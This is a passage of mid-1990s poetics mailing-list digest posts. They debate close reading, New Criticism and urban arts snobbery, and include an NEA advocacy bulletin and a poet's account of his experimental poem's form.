community; and maybe even full-time lurkers as well. I imagine some (myself, sometimes) get into a routine of subscribing and unsubscribing according to the general tenor of the discussion threads, not to mention volume of mail, as James notes. Some threads (Experiwhat?, Boy Talk, Apex of the M, etc.) were at times as satisfying as a good Monster Truck demo. I haven't a clue about that Hokey Pokey business.

I suggest that self-restraint is the only kind of customization that is possible here, otherwise people start to vote with their bozo filters. After all, the object of the game is to create a climate that encourages participation.

As for the subject of splitting the list, worse things have happened.

It would be nice if there could be some general agreement not to engage in chain-jerking, personal attacks, or "reading" someone out of a discussion, the rest will take care of itself. Or maybe we should just apply chaos theory and see if we *can* quantify community after all.

Cheers,

Marc

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86. Marc Nasdor
Re: Close Reading
Mon 6 Mar 1995

Chris Stroffolino writes:
>...there's no need to associate it with "agrarian" in some pejorative way.
> We do not need some city-country division. If, for instance, there is
> to be some viable way of dealing effectively with culture, there's no
> point isolating ourselves against the "agrarian"--which can also be
> the "tenement migrant farmer" etc...
. . .
> Also, the hegemony of the "contextual" the "new historicist" reading
> in much "hip" avant-garde discourse that claims to be a reaction to
> "close reading" goes too far in the opposite direction...

Good points. In any case, I assume "agrarian" is this usage refers mainly to those New Criticism poets who have been associated with the term for several decades.

Without acting on the urge to drive out to the nearest hacienda to bond with the first tenement migrant farmer within hugging distance, it seems to me that much of the "city/country division" in American poetry stems from a kind of urban arrogance that, unfortunately, has been characteristic of some members

of the poetry avant-garde (of several ideological persuasions). For me, writers who obsess on literature of "the coasts" are guilty of that kind of arrogance .

A slight digression: Try arguing with an art critic/historian about the validity of contemporary painting in small cities with active arts communities and innovative artists (e.g., Cleveland, Baltimore, Austin, etc.). Artists from these areas are punished both critically and economically for such transgressions as refusing to move to NY/SF/LA.... A friend of mine who writes for _Art News_ once insisted to me that writers and artists who remain in these "minor" communities are perpetually discovering what has already been discovered, an attitude that is ignorant at best. From where does he suppose most "New York artists" originate. Does literary and artistic knowledge/ vision/accomplishment come into being only after exposure to "major" communities? I don't think so.

Regards,

Marc Nasdor
[redacted]

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87. Tenney Nathanson
Re: POETICS Digest - 5 Mar 1995 to 6 Mar 1995
Tue 7 Mar 1995

---

talkin' bout my generation, I guess, but: re: close reading, and who unlearns, supposedly, what they learned as undergraduates, and so on. (I don't mean to rant but): after teaching poetry/theory grad courses the last few years, I finally decided to cash in on a gathering hunch and teach, at the grad level, the kind of course I sometimes offer at u.g. level and that used to be offered all the time: "close reading" that is. I'm having a great time (some students are, some probably aren't) but so far the results are pretty staggering. We're doing the course as a workshop, in which a poem and its explication, xeroxed in advance, are discussed concurrently. And (to me) it's just staggering what the generally bright and able students don't have a clue about and don't (yet) by and large have much knack at all for doing. Just on the very basic level of poem as speech act or Burkean symbolic action; or when it comes to thinking about trope as somehow functional in a reasonably sophisticated way: it's a great big blank by and large (w a couple of stunningly smart exceptions). I dunno whether it was always that way (that is, contra Richards, whether no matter how many classes everyone takes basically 10% of the people have an ear and the other 90% can't buy one) or not, but I suspect that not so much deconstruction & all as cultural studies is partly responsible. I don't mean it as a discipline (or non discipline) so much as how it gets filtered into the brainpans of the undergraduates who end up applying, at least, to Arizona, where the

students are quite good but it's obviously not Berkeley, say. Even at the next level up--reading the essays on poetry that come in to Arizona Quarterly, say, it's really just themes themes themes. So this doesn't continue to sound like only a dispeptic rant, I guess I'd want to say that the course is a whole lot of fun (for me anyway), that I intend to offer it every couple of years, and that I think the old close-reading staple has pretty much disappeared from the u.g. curriculum and needs re-instating. But it really is astonishing to me, still, the extent to which grad students in the course write essays/explications tht have virtually nothing to do w wht I understand reading poetry to involve. must be time to power down here.

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88. Steve Evans

Espousing 3/7

Tue 7 Mar 1995

FREELY ESPOUSING UPDATE * 7 MARCH 1995

+ DEFENSE OF INDIVIDUAL GRANTS?
+ ADVOCACY DAY / AMERICA FOR THE NEA: LIST OF STATE COORDINATORS
+ PROTESTING CUTBACKS TO STUDENT AID
+ MARCH CALENDAR <IN PROCESS>

DEFENSE OF INDIVIDUAL GRANTS

As many of you know, the main target of proposed rescissions to the NEA's FY 95 budget are individual grants: $4m out the $5m targetted for cut-back comes from that area. In this regard at least, the rescission process offers just a foretaste of what future appropriation battles will look like.

If you have a cogent defense of individual grants, now is the time to air it. We will include any comments on this matter in future *FE* updates.

AMERICA FOR THE NEA: STATE COORDINATORS

Here are some people to contact if you are interested in traveling to Washington D.C. for "Advocacy Day" on 14 March 1995.

STATE: NAME-ORGANIZATION/PHONE NUMBER:

ARIZONA Ms.Sam Campana-Arizonans for Cultural Development/[redacted] CALIFORNIA Susan E. Hoffman-Calif. Confederation of the Arts/[redacted] CONNECTICUT Jeffrey M Siegel-Hassett, George, and Siegel/[redacted] FLORIDA Ms. Sherron Long-Florida Cultural Action Alliance/[redacted] GEORGIA Shelley Rose-Georgia Citizens for the Arts/[redacted] ILLINOIS Alene Valkanis-Illinois Arts

Alliance/[redacted] INDIANA Carol Darst-Advocates for the Arts/[redacted] IOWA Ruth Nash-Iowa Citizens for the Arts/[redacted] KANSAS Ellen Morgan-Assoc. of Community Arts Agencies/[redacted] KENTUCKY Jean Perry-Kentucky Assembly of Local Arts Agencies/[redacted] Cecilia Wooden-Kentucky Citizens for the Arts, Inc/[redacted] MARYLAND Sue Hess/Susan Eubinag-MD Citizens for the Arts/[redacted] MASSACHUSETTS Ival Stratford-Kovner of M'Assembly/ [redacted] MICHIGAN Maryland Wheaton-Concerned Citizens for the Arts/[redacted] MISSISSIPPI Ms. Thalia Mara-U.S. Int'l Baller Competetion/[redacted] NEW HAMPSHIRE Byron Champlin-Arts 1000/[redacted] (day), [redacted] (eve) NEW JERSEY John McEwan-ArtPride NJ/[redacted] x2623 NEW MEXICO Mimi Roberts-Arts New Mexico/[redacted] NEW YORK America for the NEA/[redacted], x146 NORTH CAROLINA Elizabeth Taylor-Arts Advocates of NC/[redacted] OHIO Michael Robinson-Kent State U/[redacted] PENNSYLVANIA Raymond M. Flynt-Citizens for the Arts in Pa./[redacted]; or, Melissa Birnbaum-Greater Philadelphia Cultural Alliance/[redacted] SOUTH CAROLINA Betty Plumb-S.Carolina Arts Alliance/ [redacted] SOUTH DAKOTA Janet Brown-S.Dakotans for the Arts/ [redacted] TENNESSEE Becky Craft-Tennesseans for the Arts/[redacted] UTAH Cary Stevens Jones-Utah Cultural Alliance/[redacted] VIRGINIA Daisy Portuondo-ProArt Assoc/[redacted] (day), [redacted](eve) WEST VIRGINIA Pamel Parziale-Arts Advoc. Committee of W.Va/[redacted]

<This is the list as it was faxed to *Freely Espousing* on 3 March. You can contact America for the NEA at [redacted] for recent additions to the list.>

PROTESTING CUTBACKS TO STUDENT AID

The following information is taken from a "Call to Action" released by the National Association of Graduate-Professional Students. You can contact NAGPS at [redacted]:

> *A broad alliance of national student groups have issued a call to supporters of student financial aid to cooperate in communicating a "Save Student Aid" message to Congress March 13 to 20, 1995. These dates have been selected because of the need for this message to get to the Budget Committee as they work on the FY96 Budget.*
>
> *Calls and letters are needed. For the first time on this issue, NAGPS will provide a central e-mail address to which you can send letters to Congress. We will print them out and deliver them to Congress March 17 and 20.*
>
> *TALKING POINTS*

> * *The interest exemption makes student loans affordable to millions of students. Graduate & professional students, in particular, would suffer tremendously if the interest payments made on student loans while those students were in school were to stop. The average undergraduate would have an increased debt of $4,000 to $5,000. Graduate debt could be increased as much as $35,000.*
> * *Our nation must continue to invest in education if we are to successfully absorb other budget cuts. Cutting the budget while also cutting student aid will reduce our ability to compete in world markets, and reduce US research & development. Making school more expensive will reduce enrollments. Education can be the cushion that keeps budget cuts from harming our economy.*
> * *More expensive student aid will result in fewer people choosing lower paying, but critical, jobs. Many simply won't be able to afford to be teachers and family medical practitioners.*
> * *Talk about your own situation. How would you be affected with the loss of the interest exemption?*
> * *Don't forget to explain your position carefully to staff people. Many are newly hired and need to have the issues explained to them.*
>
> *BE A RESOURCE! EXPLAIN, DON'T ACCUSE!*
>
> *E-MAIL CONGRESS?*
>
> *Conventional wisdom says that e-mail to Congress doesn't have the same weight as a letter or phone all. We've figured a way around that! The special e-mail address to which people can send letters to Congress is:*
>
> [redacted]
>
> *Those e-mail letters will be printed out and delivered to Congress. Make sure the letters are in standard letter form with the complete name, address and phone of the person writing.*
>
> *Address Letters to:*
> *Name*
> *US House of Representatives*
> *"Location"*
> *Washington, DC 20515*

MARCH CALENDAR IN PROCESS

1 Mar Senate Interior Appropriations Subcommittee, Rep. Slade Gorton (R-WA), chair. Witnesses: Sheldon Hackney and Jane Alexander

2 Mar NEH reauthorization hearings continue in Senate Labor and Human Resources Subcom on Education, Arts, and the Humanities

3 Mar House Interior Appropriations Subcommittee (FY96 funding), Rep. Ralph Regula (R-OH), chair. Subject: National Gallery of Art and Kennedy Center ----

13 Mar <week of> FY95 Rescission Package expected to be considered on House floor (includes $5m cut to NEA among its proposed $17b totals)

13 Mar <week of> The National Association of Graduate-Professional Students is calling for a week of messages to Congress in defense of Financial Aid, Interest Free Loan Deferments, and other components of federal educational assistance <see above>

14 Mar National Advocacy Day <See Espousing Update 2/17/95 for more information>

21 Mar House Interior Appropriatons Subcommittee (FY96 funding), Rep. Ralph Regula (R-OH), chair. Subject: NEH and IMS

29 Mar Day of Campus Action Against Contract on America (alternate date for campuses not in session on the 29th is 23 March). <See below for more information>

<Please send additions and corrections to [redacted]>

****

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Freely Espousing is an ongoing project aimed at protecting and further democratizing access to the arts, humanities, broadcast media, and emerging forms of communication. For more information, please contact:

Steve Evans & Jennifer Moxley
61 E. Manning St., Providence RI 02906-4008
[redacted]

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89. David McAleavey
Teaching close reading
Tue 7 Mar 1995

This thread may have more relevance on the T-AMLIT list, or perhaps on some other, but I have to agree with Tenney Nathanson that the university's emphasis on theory & cultural criticism takes both undergrads and graduate students away from close reading. How crucial is close reading to writers, to

poets particularly? The students I teach who have most interest in close reading are those who take as many creative writing courses as they can.

But the different types of reading -- pertinent to different types of writing -- a "close reading" of works by most of those subscribing to this list might not much resemble, task by specific task, a close reading appropriate to poems written by those in that other, dominant, not-precisely-parallel tradition (as can be found discussed, say, on the CAP-L list).

But it could be that NT's point is that no matter the difference in poetic ideology or practice, a critical reading strategy which involves reading-with-a-purpose (i.e., to explore cultural or economical conditions imbedded in various texts) may not _need_ to include close reading strategies. Reading for "pleasure," however, or reading to "understand the author's meaning or purpose" -- those tasks do involve close reading (no matter the poetics, I suspect).

The grad-level seminars I've been teaching the past two years make me think students haven't learned much about close reading; but most find it valuable to get an introduction. Minds are malleable....

-- David McAleavey

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90. I.LIGHTMAN
for, m etc
Tue 7 Mar 1995

Gary, thanks for your posting asking:

> "Ira Lightman, "No Things But in Ideas," the work of
yours I read in _Mirage_; would you be willing to talk a little about how
the form (a brief excerpt)

```
FOUR O'CLOCK, LIGHT
IN THE HOUSE, STREET
        TWELVE BRIT
NIGHT
    SLEEP LEE, STREE
T BRUSH, MORN
GONE, BRITAIN A
PPROACH ...
```

addresses, if & as it does, that very provocative title?"

The thing is having a number of theoretical and personal and aesthetic enthusiasms/beliefs, and not being able right now to set them all in relation in a

complex formal structure, longpoem etc. So nothing will get worked out or mapped in this poem, but "disparate" things (ie with unexplained connections) will appear in the poem, in this case because the title was in my head when the poem was going down on the page. So no go on the form of this poem being shown to address the title, but perhaps a few remarks about strains:

1) the title; I spent two years in New Zealand working by myself on the prosody of the first seven Cantos of Ezra Pound; there is a music that quite formally follows through (not free verse at all) *if* the words can be read with the emphasis, investment, background reading and thinking and feeling that I hypothesize Pound had. There are the equivalent too of dilemmas and paradoxes, just as there would be in well-argued piece of philosophical prose (musically monotonous), in this "music that quite formally follows through". So "no things but in ideas" in the sense that all objects, and musics, to me depend on seeing or meeting the composer or a wonderful interpreter, or reading good texts about or by the author, with huge empathetic imagination, so that one has a world of similar ideas and emphases (the word "incest", for example, scans very differently depending on your take on Freud). And then the pay-off; hearing the most wonderful formal complexity, accepting the ideas in one's head in an act of being the composer (intentionality!) that is not so just intentionaliy, in the sense of "you can only get it if you agree with it", but *negative intentionality*, like Keats' negative capability. Oh and maybe some of the author's soul is left in you after....

2) specific poetic in this piece; my biggest influence is a painter and muralist called Betty Schlesinger, from South London. She is the only avant-garde muralist I know, in the sense that she works with the primary weapon of the muralist, trompe l'oeil (mislead the eye), but where other muralists do this by (thinking they are) misleading you into thinking there is a mantelpiece on the wall or a window looking out onto a garden, Schlesinger does this by taking the lines of a room and painting against them eg a diagonal bridge painted around the corner of a room so that if you look at it hard you can't see the right-angle; in other words, working with people's unchallenged expectations that a wall in a house will always have another wall at right-angles to it, or a door of such and such a height or a room with a sloping ceiling will slope always in a particular way. Her murals work with those expectations (like some avant-gardists work with expectations of left-to-right reading across the page and tug at them, Carla Harryman, for example) and tug at them. She uses her skills as a representational painter (her canvases are usually still-life, which "accounts" for her utter neglect by a London art scene) to do something genuinely avant-garde, when so many lazy conceptualists with no draughtsmanship abound.

3) I often read texts as trompe l'oeil, seeing other words within or rhyming with the real words in the text; we don't know ourselves, perhaps the mistake word or phrase was the real one.

4) In this poem there is a specific narrative line unfairly split often in mid-word, sometimes for musical value, sometimes to open the text to others and me to read "subconscious trompe l'oeil".

5) There's also a lot of very personal references eg to the subway stop "Osterley" on the Piccadilly Line on the London Underground. The London Underground has too much of a mythic status and too many connotations for most readers to use it in other than a hidden and secretive way. The whole poem is about flying from London to San Fransisco, seeing Osterley from the plane, but that isn't needed; I was putting myself in at least two frames of mind, one gives a music to those who know the personal and theoretical ideas (as in my reading of Pound I think I did) and the other gives a music to those who want to read it as flat surface (I hope). Some of the words in the text don't resolve into a narrative at all, though, of any sort.

6) It was basically an improvisation, leading to the fragment I nudged the editor towards putting on the cover:

me/an/in
g = t-cells

This tends towards my favourite form: the mnemonic. Where lots of rhythms and ideas flow into and out of the captured moment, just as a painting selects a moment, suggests the past leading up to it, indicates in the texture and light some of where it is all going. I wanted to say, as an AIDS activist, how "me" is a thing, so needs an "an", and not a "the" as the thing it is decided by different ideas, sometimes many at once. To emphasis the "in", that we are all "in" this epidemic, whether HIV positive or friends of a PWA or none of the above. And we are "in" some kind of self, "it p ills self hood", and need to act energetically to see others' constructions on us and counter-act. And also to figure us and parody us, in the vision of medicine, as sums and algebra (and also to bring in some maths, on a personal level, because I liked it at school and it was a major boost of my self-esteem to be good at it, but is that "in" the poem or not, doesn't have to be). I'm doing lots of mnemonic type paintings of words now, in homage to Johanna Drucker, but I don't know that "me/an/in g = t-cells" worked without all the other improv energy around it, personalising it, making it less slogan-like, as I prefer to do mnemonics that aren't slogans. What I do now is live these improvs in my head until I come up with a little phrase or letter-cluster I want to paint.

Sorry to bore everyone else, but I wanted to answer you, Gary, in public like you addressed me,

Best

Ira

2)

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91. **maria damon**
more on close reading
Tue 7 Mar 1995

---

forgive me if i came in too late on this subject and missed important opening salvoes (i just joined the list y-day) --but it seems that when people refer to "close reading," they have in mind a very particular and historically circumscribed set of concerns --not only foregrounding the materiality of the text itself (words) but a certain vocabulary that is, indeed, inherited, relatively recently, from the agrarians/new critics. but there has always been "close reading" and an hermeneutic/exegetical/interpretive process --in the sense of careful attention to the material structures of a work-- of one kind or another --whether from a rhetorical (medieval) perspective or other --many people read religious texts, the bible or koran, with a close attention that would put prosodists to shame --and that there's no need to fetishize the kind of close reading we learned in poetry classes as the only close reading that enables intimacy and respect for a text. much good cultural studies work --for example, see daniel boyarin's writing on talmudic traditions --combines a close and charged relationship with the structural/formal elements of a work with broader concerns. that's all folks--maria damon

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92. **Chris Stroffolino**
Re: Close Reading
Tue 7 Mar 1995

Right on, Mark, to hell with big city snobbery fascism, etc, etc.... I mean even "cleveland," etc--is BIG compared to certain art communities not on the map.... But then i wonder if what you're talking about to some extent isn't already a done dea, i mean the "decentralization" of the art world---somebody wrote about there not being a SCENE any more in SF, and NYC is not THAT happening anymore (etc. etc.) and a lot of this has to do with MONEY, and JOBS and FEAR. And I myself wanna move to NYC soon i think (even though...) and I realize how the conservatives have been highly anti-city since the whites could afford to leave in the 50's and 60 ' 's and up to now...and then I find "my people" more in a place like NYC than in the little town I grew up in (I went to a 10th year highschool reunion 5 years ago and saw most of my "hood" friends

with their split- level babies and surbaban ties and potbellies and smug boring etc...or) and so we RUN to the city in an attempt to find something where you DON'T NEED A CAR...Now, perhaps an unfortunate consequence of this then is defensive city snobbery. I too succumb to it (here in SMALLBANY--see what i mean)...I guess I consider the SUBURBS te big enemy....Once Jeff Hansen (who is a dear friend) said in a "POETICS BRIEFS" that the ego is certainly worse than the SUBURBS (i'm paraphrasing)...well, I disagree but I guess if I'm preaching a kind of Marxist unity of cities and agrarian should take the republicanburbs into "account" as well... Best, CHris Stroffolino-----and sorry I SHOULD CHANGE THE TOPIC TO "TOWN & COUNTRY" as opposed to "CLOSE READING"--though the name of the small town I was born in s "READING" and Wallace Stevens was from there and Palmer says the NEW Formalists like READING him, so maybe there is POETIC LOGIC if not poetic justice....

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93. Patrick Phillips

cloze reading

Tue 7 Mar 1995

The notion of close reading, parsing, fakes an ideological neutrality that we've all come to know as a right-wing excision of the social because it relegates the poetic act to an independent linguistic domain. This embrace of the idea beyond the motivation of it is a close (cloze) reading - a cold embrace. The fold, or moment of discovery, comes when we are not parsing "The Idea of Order at Key West," the lay of the land/sea as described by a resolute metaphysician. This is par - the task of close reading as an encounter with the independent idea is equal to the face, or aspect of the writing. It seems to me the real moments of discovery lie in the friction between the practice of distilling and a poem that refuses, or complicates that distillation through, for example, it's linguistic opacity and/or cultural "position." In these contexts, close reading becomes an engagement with that friction, the totality of languaging, the rubbing up against the social, the motivation of the poem cutting in one direction, while the idea of the language tumbles in another. It is here that there is a determination of reading as a process of the social, because here our belief in the distinction between language and motivation is tried. So, in this trial, close reading becomes a passionate exchange of the social and the linguistic; the linguistic becomes/is the social. Close reading in this case is really close. We begin to parse, or closely read ourselves.

Patrick Phillips

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94. Edward Foster
Re: more on close reading
Tue 7 Mar 1995

in fact, "close reading" is a deeply authoritarian idea. why not just advocate misreading? why not fail students with the right answers?

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95. Sheila Murphy
Response to IL's Response to GS
Tue 7 Mar 1995

For the record, I found Ira's response to Gary's question quite enlightening. This is the kind of thing I'd like to see more of in this discussion (Thus, my previous question about how people handle/locate/imagine form in their own work).

Thanks, guys!

Sheila

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96. Gary Sullivan
Re: Form, to Ira & Bill
Wed 8 Mar 1995

Ira & Bill,

Wonderful to be off-line a couple of days, come back, & discover both of your responses, talking around & about your work, interwoven with (in contrast to, which is not to say "opposed to") this simultaneous discussion of close reading. Appreciated, very much, both of your thoughts; and, no, Ira, it wasn't at *all* "boring"; as Sheila notes, she'd been asking for such material to be posted, as had Mark Wallace. Would like to see, if anything, *more* of this kind of material here, actually.

Anyone else?

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97. Ron Silliman
Re: more on close reading
Wed 8 Mar 1995

Ed Foster wrote:
>in fact, "close reading" is a deeply authoritarian idea. why not just

advocate misreading? why not fail students with the right answers?
>
I don't get the connection between close reading, as a critical interrogative practice and the implicit sense of right/wrong that Ed is suggesting. I never met a reading of one of my poems that wasn't also a misreading, and that "mis" has often been instructive. One is not after "right" readings, I hope. But I would love to hear Ed or Don explicate the authoritarian impulse they feel lurks behind the practice.

Similarly, David McA, I've always felt that the turn away from close reading via theory was a diminution of theory itself. We're all impoverished thereby.

Ron Silliman
[redacted]

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98. peter quartermain
Re: more on close reading
Wed 8 Mar 1995

Ed Foster wrote:

> *in fact, "close reading" is a deeply authoritarian idea. why not just advocate misreading? why not fail students with the right answers?*

I'm not so sure that *mis*reading is a very helpful term because it suggests right readings. my own flip response here (I'm supposed to be on the bus on the way to work) is simply that some readings are more interesting than others, but I guess that's another whole can of worms. I'll have to think some more on that. As for those "students", well, they are why I have to catch the bus, but I'm not sure what the connection is between "students" (presumably working for grades) and close reading (presumably done for, well, call it "pleasure"). Some of my students come up with admirably "correct" and appallingly DUMB or should I say dull readings because there's no delight in them. They read out of duty. But when I asked my original question, I was not thinking pedagogy, I was wondering about my own reading practice -- which is what I take to the classroom anyway -- and is, I'd say (or tries to be), well, attentive. I'm not entirely sure how "students" got into

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Peter Quartermain
128 East 23rd Avenue voice and fax [redacted]
Vancouver
B.C. e-mail: [redacted]

Canada V5V 1X2

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99. peter quartermain
More on close reading
Wed 8 Mar 1995

Oops! I hit the wrong key in my reply to Ed
Foster and sent the message before I meant to,
Now I've forgotten the rest I meant to say. I'm
sorry hurried message closes so abruptly. Now for the
bus, in the warm rain.

Peter

Peter Quartermain
128 East 23rd Avenue voice and fax [redacted]
Vancouver
B.C. e-mail: [redacted]
Canada V5V 1X2

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100. John Shoptaw
Re: More on close reading
Wed 8 Mar 1995

I'm happy Peter Quartermain raised the vexing question of close reading, also one of the intersections between poetry and theory.

In recent critical history, close reading took a nose dive when De Man's wartime journalism was uncovered. Deconstruction, I think, really became close reading for most of us in the eighties. Then, nobody I knew (like Barbara Johnson) knew just what to do, except perhaps stop.

I totally agree with Chris Stroffolino that post-deconstructive tendencies tend to slight or ignore texts altogether. I also think that what I've been calling "textually specific" reading can be what Patrick Phillips calls "a passionate exchange between the social and the linguistic," one which overcomes the isolation with the materiality of the poem.

Yet if we continue to read, I don't think we can read just like Brooks, Bloom, or de Man have been doing (when "misreading" began to be prized). I'm

now at work on a book tentatively called "Reading Poetry Now." Have any of you any suggestions about innovative readings, or reading theories, out there? I'd appreciate the help.

John Shoptaw

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101. Mn Center For Book Arts
Re: Teaching close reading
Wed 8 Mar 1995

I've had a lot of interruptions reading the list lately, but I recall that Tenney Nathanson made at least a tangential connection between close reading or the lack of it in schools and the lack of an ear by students. I know that I did a lot of close reading as a grad & undergrad in the 70's, but I don't recall that such practice helped much in hearing the work. I also don't recall that the professors teaching such close readings had much of an ear. Whereas listening to Monk & Miles (the sounds & the silences), as well as Cage, and reading Pound & H.D. & later Niedecker, & always Dickinson, helped a lot. Reading for pleasure -- is that connected to close reading?

charles alexander

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102. Tony Green
close=intimate
Wed 8 Mar 1995

It is interesting to see that Close-Reading can be such a hotly contestable term. (I suppose that this is a problem not of poetics at large simply, but of a pedagogic situation for poetics.)

What are we talking about? Reading, re-reading, reading again & again, over & over; reading through, reading around & as Ron was saying mis-reading (traduire=trahir)....putting into relief this & that for the sake of the other, (the Other)....

Working with images (pictures &tc) what is often wanting is a good stretch of time for what is on, in and around the image to come to light.

Call this close-reading & spectres of "fascist" practices associated now with the sins of New Criticism (oh boy! these -isms again) appear! Call it the slow careful detailed intimate & thoughtful reading or viewing of a "work" or "piece" or " ".

The question then arises how much of the extensive critical, aesthetic, theoretical, historical literature in any of the arts is grounded in this process? Or even better, the question might be how little.

I suppose that reactions posted recently to the close-reading of New Critics is grounded in readings of New Critical texts. I must "confess" that I thought F.R.Leavis's practical criticism lectures were among the most exciting and stimulating events of the 1950's in eng.lit. at Cambridge, because there was a widespread lack of close-up attention to texts in respect of "values". Whether he was right or wrong was not consequential, because he always insisted that questions of value were always open-ended. The usual alternative attention to texts was that of annotation of detail. (But I suppose that is not what the objection to "fascist" New Criticism is about, given the American Agrarianism argument. But then I wouldn't want to take up the positions of Michael Fried in relation to the values of Abstraction, while I still admire the persistence and specificity of his critical writing).

There is a problem in "higher" education that stems from the difficulty of close or intimate reading (I too like "Density" and "Difficulty" and "Opacity" as points d'appui). It is easier for students to sidestep it and get rewarded for translating theory instead (for many younger academics) or (in art history) to do iconography and annotation and cataloguing (for older academics). There is resistance to taking time and space for the specifics of a "work" from both directions (new & old, so to speak). Radical and Subversive is what it may well be in 1995 to do close, intimate reading.

Call it perhaps "description", description of artworks. "Describe a picture", as an exercise for students, immediately raises the problems barely sketched above. It is probably impossible to specify with any precision (the too many variables in communication processes, Sandra Braman?) how to do this exercise. Lack of specification is interesting: it allows for students to determine specifications in the actual occasion of writing. (This kind of work is best carried out as far as possible from university grade systems, because the protocols for description are so unspecific).

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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103. Jonathan Brannen
Re: Response to IL's Response to GS
Wed 8 Mar 1995

Yes, Sheila, Gary, and Ira!

As someone more interested in process than theory, I'd like to see a lot more of this type of discussion.

Jonathan

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104. braman sandra
Re: close=intimate
Wed 8 Mar 1995

Shiva confesses that precisely the reason she never studied literature either as an undergraduate or graduate, the reason she isn't doing literature as a professor -- though she persistently and passionately continues to read and write and read and write and read and write -- was being TOLD how to read.... Somehow, for this poet, it took the life out of it.... Sandra Braman

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105. Jonathan Brannen
Re: Community-apology?
Wed 8 Mar 1995

Dear Gary,

Having returned from a few days off line and having now read your post beginning: "My apologies to Jonathan Brannen and others for being reductive." I have to echo Tony Green's "Apology accepted... But not what I was looking for."

I wasn't complaining because you were reductive. My complaint was that you were inaccurate and that I felt your characterizations of other writers and presses in Minnesota had perhaps performed a disservice to them. The point I had hope to make was that it's better to ask questions than to assume. You elicit marvelous responses when you do ask. Keep up the good work. I think you and Sheila and Bill and Ira have introduced a needed and useful new direction to the discussion on this list.

Thanks,
Jonathan

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106. David McAleavey
Re: Teaching close reading
Wed 8 Mar 1995

Most of my teachers, I think, were excellent, so maybe my experience differs from the norm. Still, I did have some losers thrown in there, and surely some of them were just being tendentious under the guise of doing "close reading." From such you wouldn't learn much of anything, of ear or eye. We've all had enough bad teaching to know what it's like to feel stepped on.

The best writers, theorists or poets, have paid a lot of attention to things -- for example, to the prosody of the first seven Cantos. "Close reading," the way I intended it, is just a subset of "paying attention." Reading page after page of "close readings" of poems, on the other hand, wears thin pretty quickly. Let's just read the poems, I want to say!

In my earlier post I spoke simplistically of teaching strategies of close reading pertinent to different types of writing. That's not right. We certainly can learn strategies for reading, as we can learn strategies for finding our way through the woods; but we can't know in advance the "type," if there is such a thing, of a piece of writing. We really do have to read it, I guess.

I had tried to suggest by using "scare-quotes" that I understand "reading for pleasure" to be a complicated if not illusory notion, but yes, as a practical matter, people who read poetry frequently will tend, I think, to read it carefully. That doesn't mean that everyone is open to poetries which do things differently from what they like to have done, or what they are used to liking. Pound's problem with Whitman may have been that Pound didn't see carefulness in Whitman's work. Or maybe he just didn't like it and so couldn't read it carefully.

And now I'll tiptoe back to the shadows..

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107. Eric M. Gleason
(no subject)
Wed 8 Mar 1995

David McAleavey: "Reading page after page of "close readings" of poems, on the other hand, wears thin pretty quickly. Let's just read the poems, I want to say!"

I just joined this list last week, and the first messages I saw led me to belive the discussion would soon turn to crop rotation. I was relieved when I saw the posts about close reading, then disillusioned when I wasn't taking the time to read most of the posts! My background in poetry is severely limited...

(read: they made me write haiku and limerick in grade school) and find myself almost overwhelmed at the content of my first undergrad poetry class. When I first started reading for the course, I had no choice but to slow down and try to immerse myself in the poems, reading closely (almost drowning myself). There have been many times when I instinctively wanted to "just read the poem" but it would all just turn into a jumble of words. For comfort, i would often trun to Dr. Seuss and read aloud. Chanting "Fox in Socks" while stomping around a dorm room can be very liberating and soothing when Olson becomes frustrating.

Let's just read the poem! -i want to say it to, but it gets me nowhere.

--

"I was a teenage monkey wrench

Eryque "I know I spell my name wrong but that's no reason to hurt me!" Gleason

[redacted]

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108. Kenneth Sherwood

Intimacy and intimations of a micropoetics

Thu 9 Mar 1995

---

1. Confusions of terminology: "close reading" v. intimate reading as if theory and 'to read' can nae share the same bed. And deconstructions be damned, there is not a spirit of MIS-READING (in the academy anyway) despite the prevalence of misreadings there.

2. Fact is "close reading" as method gallops toward singularity, imperial resolution of the chord and production of the cadence. So to Charles A., if only "close reading" could be for pleasure. How would we name it?

3.
Within the hallowed halls if prophylactic theory promotes
safe texts and declining intimacy, our loneliness may not
be quelled through explication. Brooks and Warren are
at peace and the students don't read, agreed, but the
spirit of "close readings" climactic S&M mastery over
the poem lingers.

4.
"I can't read this poem; I don't understand it at all."

Sure if anecdotal evidence of an authoritarian effect
of close readings ethic of closure.

5.
Good to talk about the "pleasures" of "textually intimate"
readings. Of course the risk of accumulating first a mass
and then a theory.

In fact to talk so (as some have begun to do)
would perhaps bridge the gap (an imagined gap
as Ron Silliman (will the real Ron please stand up)
demonstrates in various theoretical yet intimate
readings in _New Sentence_) between the two
threads on this list and between theory and
"just reading the poem."

5b.
Just Do It?

6.
Pleasure this week of hearing Ric Caddel (from NE England)
read and give a reading of Bunting, an intimate reading
complete with overhead projector that gave intimate
elucidation, made it possible to hear with the ears

7.
Suppose the theory monolith has turned the academy's ears
away from particulars of reading, strayed from the text
ye little lost lambs; causal--coincincident correlation with
with the fading of poetry (however read, misread, or unread-but-
theorized in the past) in general from the sanctified syllabi?

Ken Sherwood

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109. Tenney Nathanson
Re: POETICS Digest - 7 Mar 1995 to 8 Mar 1995
Thu 9 Mar 1995

Charles ("Alexander"): re re close reading and ears ("they fling their speech by means of it" & etc?): agreed, very much, that courses in close reading don't teach ear possession (which I think I said or meant to say): I dunno whether I learned my poetry ear at Monk's knee (though Wallace Shawn has a great Monk story) or not, or whether, finally, you did--that may be a romanticized account--but I do agree I didn't learn mine in grad school. Going to grad school I instead felt by and large that those professing didn't have much to teach me since I had

developed my ear by writing (and reading, in a non-academic contxt--Cantos on way to teach elementary school on long subway rides to Brooklyn w refugees from the all night Third World Club etc etc--though some notable exceptions, re different KINDS of poems I wasn't equipped to hear having cut teeth or whatever on Olson's earnestness--so mannerism had to be TAUGHT. NEVER the less sitting there in classroom with both 1) PhD students whose ears are full of lead, AND have never been taught even the most rudimentary elabling terminology for poetry explication (strange but true) AND w CW students (MFA) some of whom are very good poets BUT, I continue to be intrigued by the notion that in some basic way I might get some/several of them by term's end to be seeing/doing something they are not doing yet. and I guess here wd be the gist: if I can't do THAT, then what on earth am I doing at the more "advanced" levels talking about Ashbery and Baudrillard, or Charles B and Benjamin, or whtever I think I do: I mean they are then simply not operating on a level where what I take for granted as enabling details are even within their perceptual pardon the expression universe.

